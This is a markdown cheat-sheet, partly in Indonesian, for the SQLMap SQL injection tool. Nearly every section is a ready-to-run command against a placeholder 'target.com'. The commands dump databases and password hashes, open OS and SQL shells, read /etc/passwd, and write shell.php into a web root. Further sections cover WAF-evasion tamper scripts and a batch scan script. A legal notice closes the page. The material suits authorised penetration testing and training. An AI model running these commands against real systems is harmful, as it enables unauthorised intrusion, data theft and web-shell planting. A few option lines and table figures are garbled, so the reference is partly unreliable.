# SQLMap

> **Automatic SQL Injection and Database Takeover Tool**

## 📋 Overview

SQLMap adalah open-source penetration testing tool yang mengotomasi proses pendeteksian dan eksploitasi SQL injection vulnerabilities. Dikembangkan untuk mengidentifikasi dan memanfaatkan kerentanan SQL injection dalam berbagai jenis database.

## 🎯 Key Features

### 🔍 **SQL Injection Detection**

* **Boolean-based Blind** - AND/OR conditional queries
* **Time-based Blind** - Delay-based detection
* **Error-based** - Database error message extraction
* **Union Query** - SQL UNION injection
* **Stacked Queries** - Multiple statement execution
* **Second Order** - Stored procedure injection

### 🗄️ **Database Support**

* **MySQL**, **MariaDB**, **PerconaDB**
* **PostgreSQL**, **Oracle**, **Microsoft SQL Server**
* **SQLite**, **Microsoft Access**, **IBM DB2**
* **SAP MaxDB**, **HSQLDB**, **Informix**
* **Firebird**, **Sybase**, **MemSQL**

### 🔧 **Advanced Features**

* **Database Fingerprinting** - Automatic DBMS identification
* **Privilege Escalation** - User privilege detection
* **File System Access** - Read/write files on server
* **Command Execution** - OS command injection
* **Password Hashing** - Extract and crack passwords
* **Out-of-Band** - DNS/HTTP-based data exfiltration

### 🛡️ **Evasion Techniques**

* **Randomization** - Random user agents, headers
* **Encoding** - Multiple encoding methods
* **Comments** - SQL comment injection
* **Case Variation** - Mixed case keywords
* **Whitespace** - Various whitespace combinations

## 🚀 Installation

### Linux Installation

```bash
# Clone from GitHub
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git
cd sqlmap

# Run SQLMap
python3 sqlmap.py --version

# Create symbolic link (optional)
sudo ln -s /path/to/sqlmap/sqlmap.py /usr/local/bin/sqlmap
```

### Windows Installation

```powershell
# Install Python 3.x from python.org
# Download SQLMap from GitHub
# Extract to C:\sqlmap
# Add to PATH: C:\sqlmap

# Run SQLMap
python C:\sqlmap\sqlmap.py --version
```

### macOS Installation

```bash
# Using Homebrew
brew install sqlmap

# From source
git clone https://github.com/sqlmapproject/sqlmap.git
cd sqlmap
python3 sqlmap.py --version

# Create alias (optional)
echo 'alias sqlmap="python3 /path/to/sqlmap/sqlmap.py"' >> ~/.zshrc
source ~/.zshrc
```

### Docker Installation

```bash
# Pull SQLMap image
docker pull paoloo/sqlmap

# Run container
docker run -it --rm paoloo/sqlmap --version

# Run with volume mount
docker run -it --rm -v $(pwd):/data paoloo/sqlmap -u "http://target.com/page?id=1" --batch
```

## 🔧 Basic Usage

### Command Structure

```bash
sqlmap [options] -u URL [data]
sqlmap [options] -r request.txt

# Basic syntax
sqlmap -u "http://target.com/page?id=1" --dbs
```

### Common Commands

```bash
# Test target URL
sqlmap -u "http://target.com/page?id=1" --batch

# List databases
sqlmap -u "http://target.com/page?id=1" --dbs

# List tables in specific database
sqlmap -u "http://target.com/page?id=1" -D database_name --tables

# Dump table contents
sqlmap -u "http://target.com/page?id=1" -D database_name -T table_name --dump

# Extract current database
sqlmap -u "http://target.com/page?id=1" --current-db
```

## 🎯 Attack Modes

### Automatic Detection

```bash
# Test all parameters with default settings
sqlmap -u "http://target.com/page?id=1&name=test" --batch

# Test specific parameter
sqlmap -u "http://target.com/page?id=1" -p id --batch

# Test POST parameters
sqlmap -u "http://target.com/login.php" --data="username=admin&password=pass" --batch

# Test HTTP headers
sqlmap -u "http://target.com/page" --headers="User-Agent: test" --cookie="id=1" --batch
```

### Specific Injection Techniques

```bash
# Boolean-based blind SQL injection
sqlmap -u "http://target.com/page?id=1" --technique=B

# Time-based blind SQL injection
sqlmap -u "http://target.com/page?id=1" --technique=T

# Error-based SQL injection
sqlmap -u "http://target.com/page?id=1" --technique=E

# Union query SQL injection
sqlmap -u "http://target.com/page?id=1" --technique=U

# Stacked queries SQL injection
sqlmap -u "http://target.com/page?id=1" --technique=S
```

## 📊 Database Enumeration

### Database Discovery

```bash
# Get current database name
sqlmap -u "http://target.com/page?id=1" --current-db

# Get current user
sqlmap -u "http://target.com/page?id=1" --current-user

# Check if current user is DBA
sqlmap -u "http://target.com/page?id=1" --is-dba

# Get database banner
sqlmap -u "http://target.com/page?id=1" --banner

# List all databases
sqlmap -u "http://target.com/page?id=1" --dbs
```

### Table and Column Enumeration

```bash
# List tables in database
sqlmap -u "http://target.com/page?id=1" -D database_name --tables

# List columns in table
sqlmap -u "http://target.com/page?id=1" -D database_name -T table_name --columns

# Count rows in table
sqlmap -u "http://target.com/page?id=1" -D database_name -T table_name --count

# Dump specific columns
sqlmap -u "http://target.com/page?id=1" -D database_name -T table_name -C col1,col2 --dump
```

### Data Extraction

```bash
# Dump entire table
sqlmap -u "http://target.com/page?id=1" -D database_name -T table_name --dump

# Dump with search
sqlmap -u "http://target.com/page?id=1" -D database_name -T table_name --search -D admin

# Dump with limit
sqlmap -u "http://target.com/page?id=1" -D database_name -T table_name --dump --start=0 --stop=100

# Dump to CSV
sqlmap -u "http://target.com/page?id=1" -D database_name -T table_name --dump --csv-output
```

## 🔧 Advanced Techniques

### Custom Injection

```bash
# Custom payload
sqlmap -u "http://target.com/page?id=1" --prefix="')" --suffix="AND '1'='1"

# Custom SQL query
sqlmap -u "http://target.com/page?id=1" --sql-query="SELECT version()"

# Custom SQL shell
sqlmap -u "http://target.com/page?id=1" --sql-shell

# OS shell (if possible)
sqlmap -u "http://target.com/page?id=1" --os-shell
```

### File Operations

```bash
# Read file
sqlmap -u "http://target.com/page?id=1" --file-read="/etc/passwd"

# Write file
sqlmap -u "http://target.com/page?id=1" --file-write="shell.php" --file-dest="/var/www/html/shell.php"

# Upload file
sqlmap -u "http://target.com/page?id=1" --file-upload="shell.php" --upload-dest="/var/www/html/"
```

### Evasion Techniques

```bash
# Random user agent
sqlmap -u "http://target.com/page?id=1" --random-agent

# Random delay between requests
sqlmap -u "http://target.com/page?id=1" --delay=2

# Tor network
sqlmap -u "http://target.com/page?id=1" --tor --tor-type=SOCKS5

# Proxy chain
sqlmap -u "http://target.com/page?id=1" --proxy="http://127.0.0.1:8080"

# Tamper scripts for evasion
sqlmap -u "http://target.com/page?id=1" --tamper=space2comment,randomcase
```

## 🔗 Request Manipulation

### POST Data Testing

```bash
# POST form data
sqlmap -u "http://target.com/login.php" --data="username=admin&password=pass"

# POST with file upload
sqlmap -u "http://target.com/upload.php" --data="file=test.txt" --file-upload

# JSON POST data
sqlmap -u "http://target.com/api" --data='{"id": "1"}' --headers="Content-Type: application/json"

# Cookie testing
sqlmap -u "http://target.com/page" --cookie="session=abc123; id=1" --level=3
```

### HTTP Headers

```bash
# Custom headers
sqlmap -u "http://target.com/page" --headers="User-Agent: test\nX-Forwarded-For: 127.0.0.1"

# User-Agent testing
sqlmap -u "http://target.com/page" --level=5 --risk=3

# Referer testing
sqlmap -u "http://target.com/page" --referer="http://google.com"
```

### Request from File

```bash
# Use request file
sqlmap -r request.txt

# Request file with POST data
sqlmap -r request.txt --data="param=value"

# Request from Burp Suite
sqlmap -r burp_request.txt --cookie="session=abc123"
```

## 📈 Optimization and Tuning

### Performance Settings

```bash
# Set timeout
sqlmap -u "http://target.com/page?id=1" --timeout=10

# Set retries
sqlmap -u "http://target.com/page?id=1" --retries=3

# Threads for faster testing
sqlmap -u "http://target.com/page?id=1" --threads=5

# Predict output
sqlmap -u "http://target.com/page?id=1" --predict-output
```

### Risk and Level Settings

```bash
# Risk level (1-3)
sqlmap -u "http://target.com/page?id=1" --risk=3

# Level of testing (1-5)
sqlmap -u "http://target.com/page?id=1" --level=5

# Combination for thorough testing
sqlmap -u "http://target.com/page?id=1" --level=5 --risk=3
```

### Batch Mode

```bash
# Non-interactive mode
sqlmap -u "http://target.com/page?id=1" --batch

# Batch with custom answers
sqlmap -u "http://target.com/page?id=1" --batch --answers="follow=1,Y,N"
```

## 🔧 Tamper Scripts

### Built-in Tamper Scripts

```bash
# Use space2comment tamper
sqlmap -u "http://target.com/page?id=1" --tamper=space2comment

# Multiple tamper scripts
sqlmap -u "http://target.com/page?id=1" --tamper=space2comment,randomcase

# Popular tamper scripts
--tamper=appendnullbyte
--tamper=base64encode
--tamper=between
--tamper=bluecoat
--tamper=chardoubleencode
--tamper=charencode
--tamper=charunicodeencode
--tamper=commalesslimit
--tamper=commalessmid
--tamper=concat2concatws
--tamper=equaltolike
--tamper=greatest
--tamper=halfversionedmorekeywords
--tamper=ifnull2ifisnull
--tamper=modsecurityversioned
--tamper=modsecurityzeroversioned
--tamper=multiplespaces
--tamper=nonrecursivereplacement
--tamper=percentage
--tamper=plus2concat
--tamper=plus2fnconcat
--tamper=randomcase
--tamper=recursivereplacement
--tamper=space2comment
--tamper=space2dash
--tamper=space2hash
--tamper=space2morehash
--tamper=space2mssqlblank
--tamper=space2mssqlhash
--tamper=space2mysqlblank
--tamper=space2mysqldash
--tamper=space2plus
--tamper=space2randomblank
--tamper=sp_password
--tamper=unionalltounion
--tamper=unmagicquotes
--tamper=uppercase
--tamper=varnish
--tamper=versionedkeywords
--tamper=versionedmorekeywords
--tamper=xforwardedfor
```

### Custom Tamper Scripts

```python
#!/usr/bin/env python
# Custom tamper script example

import random

def tamper(payload, **kwargs):
    """
    Replaces space character with random comment
    """
    if payload:
        payload = payload.replace(' ', '/**%s**/' % random.randint(1, 9999))
    return payload

# Save as custom_tamper.py in tamper directory
# Use with: --tamper=custom_tamper
```

## 🔍 Authentication and Session

### Authentication Bypass

```bash
# Basic authentication
sqlmap -u "http://target.com/admin" --auth-type=basic --auth-cred="admin:password"

# Digest authentication
sqlmap -u "http://target.com/admin" --auth-type=digest --auth-cred="admin:password"

# NTLM authentication
sqlmap -u "http://target.com/admin" --auth-type=ntlm --auth-cred="domain\admin:password"
```

### Cookie and Session Handling

```bash
# Use cookie for session
sqlmap -u "http://target.com/dashboard" --cookie="session=abc123; user=admin"

# Load cookies from file
sqlmap -u "http://target.com/dashboard" --load-cookies=cookies.txt

# Update cookie dynamically
sqlmap -u "http://target.com/dashboard" --cookie="session=abc123" --keep-alive
```

## 📊 Output and Reporting

### Output Formats

```bash
# Save to file
sqlmap -u "http://target.com/page?id=1" --output-dir=/path/to/output

# JSON output
sqlmap -u "http://target.com/page?id=1" --output-dir=/path/to/output --json-output

# CSV output
sqlmap -u "http://target.com/page?id=1" --output-dir=/path/to/output --csv-output

# Hex dump output
sqlmap -u "http://target.com/page?id=1" --hex-output
```

### Logging and Monitoring

```bash
# Verbose output
sqlmap -u "http://target.com/page?id=1" -v 3

# Very verbose output
sqlmap -u "http://target.com/page?id=1" -v 6

# Save HTTP traffic
sqlmap -u "http://target.com/page?id=1" --traffic-file=http_traffic.txt

# Save all requests
sqlmap -u "http://target.com/page?id=1" --save-all
```

## 🔧 Database Specific Options

### MySQL Specific

```bash
# MySQL version
sqlmap -u "http://target.com/page?id=1" --dbms=mysql --technique=E

# MySQL privilege escalation
sqlmap -u "http://target.com/page?id=1" --dbms=mysql --privileges

# MySQL password hashes
sqlmap -u "http://target.com/page?id=1" --dbms=mysql --passwords
```

### PostgreSQL Specific

```bash
# PostgreSQL version
sqlmap -u "http://target.com/page?id=1" --dbms=postgresql

# PostgreSQL privileges
sqlmap -u "http://target.com/page?id=1" --dbms=postgresql --privileges

# PostgreSQL user enumeration
sqlmap -u "http://target.com/page?id=1" --dbms=postgresql --users
```

### SQL Server Specific

```bash
# SQL Server version
sqlmap -u "http://target.com/page?id=1" --dbms=mssql

# SQL Server privileges
sqlmap -u "http://target.com/page?id=1" --dbms=mssql --privileges

# SQL Server roles
sqlmap -u "http://target.com/page?id=1" --dbms=mssql --roles
```

## 🔗 API and Automation

### REST API Testing

```bash
# JSON API endpoint
sqlmap -u "http://api.target.com/users/1" --headers="Content-Type: application/json"

# GraphQL endpoint
sqlmap -u "http://api.target.com/graphql" --data='{"query":"{user(id:1){name}}"}'

# API key authentication
sqlmap -u "http://api.target.com/data" --headers="Authorization: Bearer token123"
```

### Automation Scripts

```bash
#!/bin/bash
# Automated SQLMap testing script

TARGET_FILE="targets.txt"
OUTPUT_DIR="sqlmap_results"
DATE=$(date +%Y%m%d_%H%M%S)

mkdir -p $OUTPUT_DIR/$DATE

# Scan each target
while read -r target; do
    echo "Scanning: $target"
    sqlmap -u "$target" --batch --output-dir="$OUTPUT_DIR/$DATE" --json-output
done < "$TARGET_FILE"

echo "Scan completed. Results saved to: $OUTPUT_DIR/$DATE"
```

## 🎓 Learning Resources

### Official Documentation

* [SQLMap Official Documentation](https://sqlmap.org/)
* [SQLMap GitHub Wiki](https://github.com/sqlmapproject/sqlmap/wiki)
* [SQLMap Usage Guide](https://github.com/sqlmapproject/sqlmap/wiki/Usage)

### Practice Resources

* **SQLi Labs** - Practice SQL injection environment
* **PortSwigger Web Security Academy** - Free SQL injection training
* **OWASP WebGoat** - Vulnerable web application
* **Damn Vulnerable Web Application (DVWA)** - Practice environment

### Tutorials and Guides

* [SQLMap Complete Tutorial](https://www.hackingarticles.in/complete-sqlmap-tutorial/)
* [SQL Injection with SQLMap](https://www.tutorialspoint.com/sql_injection/sql_injection_tools.htm)
* [Advanced SQLMap Techniques](https://www.irongeek.com/i.php?page=security/sqlmap)

## 📈 Comparison with Other Tools

| Feature              | SQLMap  | SQLninja  | BSQLHunter | Pangolin |
| -------------------- | ------- | --------- | ---------- | -------- |
| **Database Support** | 12+     | Limited   | Limited    | 20+      |
| **Automation**       | ✅       | ❌         | ❌          | ✅        |
| **GUI**              | ❌       | ❌         | ✅          | ✅        |
| **Tamper Scripts**   | ✅       | ❌         | ❌          | ✅        |
| **OS Shell**         | ✅       | ✅         | ❌          | ❌        |
| **File Access**      | ✅       | ✅         | ❌          | ❌        |
| **Learning Curve**   | 📚 Easy | 📚 Medium | 📚 Easy    | 📚 Easy  |

## 🔧 Troubleshooting

### Common Issues

```bash
# Connection timeouts
sqlmap -u "http://target.com/page?id=1" --timeout=30 --retries=5

# WAF/IDS detection
sqlmap -u "http://target.com/page?id=1" --tamper=space2comment,randomcase

# Parameter not injectable
sqlmap -u "http://target.com/page?id=1" --level=5 --risk=3

# Time-based detection issues
sqlmap -u "http://target.com/page?id=1" --time-sec=10

# Unicode/encoding issues
sqlmap -u "http://target.com/page?id=1" --charset=ascii
```

### Debug Mode

```bash
# Enable debug output
sqlmap -u "http://target.com/page?id=1" -v 6

# Save all HTTP requests
sqlmap -u "http://target.com/page?id=1" --save-all

# Test specific payload
sqlmap -u "http://target.com/page?id=1" --test-payload="test payload"
```

## 🛡️ Security and Legal Considerations

### Legal Compliance

* **Authorization**: Only test systems you own or have permission
* **Scope**: Stay within defined testing boundaries
* **Documentation**: Keep records of all testing activities
* **Reporting**: Report vulnerabilities responsibly

### Ethical Guidelines

* **Data Protection**: Avoid accessing sensitive personal data
* **System Impact**: Minimize impact on target systems
* **Disclosure**: Follow responsible disclosure practices
* **Privacy**: Respect privacy and confidentiality

### Best Practices

* **Safe Testing**: Use test environments whenever possible
* **Rate Limiting**: Avoid overwhelming target systems
* **Logging**: Keep detailed logs of all activities
* **Cleanup**: Remove any temporary files or backdoors

***

**⚠️ Legal Notice**: SQLMap should only be used on systems you own or have explicit permission to test. Unauthorized SQL injection testing is illegal and can cause serious damage.

**⚡ Pro Tip**: Always start with the lowest risk level and gradually increase. Use the --batch option for automated testing but review results manually to avoid false positives.

*📅 Last Updated: 2024*
